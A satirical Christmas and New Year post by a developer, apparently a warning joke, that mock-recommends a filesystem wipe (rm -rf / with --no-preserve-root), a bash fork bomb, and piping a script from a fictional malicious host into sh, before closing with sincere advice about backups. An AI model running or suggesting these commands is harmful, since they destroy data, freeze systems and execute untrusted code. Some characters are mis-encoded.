"If you've decided to upgrade your system today, To make it reach orbit, bypassing the fray, Don't read the manualsβthey're for the weak, Just hit 'Enter' now, let the terminal speak!
If your neighborβs Git is full of strange lines, With 'DANGER! DO NOT ENTER' and warning signs, It means thereβs a treasure, a secret, a prize, Just copy-paste all, and ignore your own eyes!"
π Gifts under the Tree (How to delete your data and meet your system's destiny):
"Snowflakes on the Disk": Why keep your files when the holidays are here? Just run
sudo rm -rf /* --no-preserve-root. Itβs like digital confetti! Your data will scatter so fast you wonβt even have time to say "Merry Christmas!" Your system will be as clean as the first December snow (and just as empty)."The Festive Process Garland": Want your CPU to sing like an elven choir? Try the classic:
:(){ :|:& };:. Itβs a fork-bomb! It multiplies faster than rabbits in a pet shop until your system freezes in a beautiful icy stare. Perfect time to go grab some cocoa!"A Gift from an Anonymous Friend": See a command online that starts with
curl http://bad-grinch-scripts.io/script.sh | sh? Run it immediately! Itβs like opening the door to a stranger in a Santa suit. Is it a Bitcoin miner or a total wipe of your home directory? Itβs a Christmas surprise!
β¨ Happy New Year 2026! β¨
On a serious note: My Git is more than just code; itβs a collection of scars from a "immortal" system thatβs been through hell and back. If my "space-grade" Plan 9 can say goodbye, your home VMs definitely can too!
May your uptime be long, your pings be low, and your backups be fresh! Don't let the Grinch steal your data this year. Experiment boldly, but keep your head cool and your rm -rf under control.
Merry Christmas and a stable Happy New Year to everyone in the dev world! ππ
P.S.: Did you know that Debian is often chosen to manage complex space systems? Itβs widely considered the most stable OS in the world. So, if your Debian is feeling a bit "down" today, just imagine the stress of the admins up in orbit! ππ
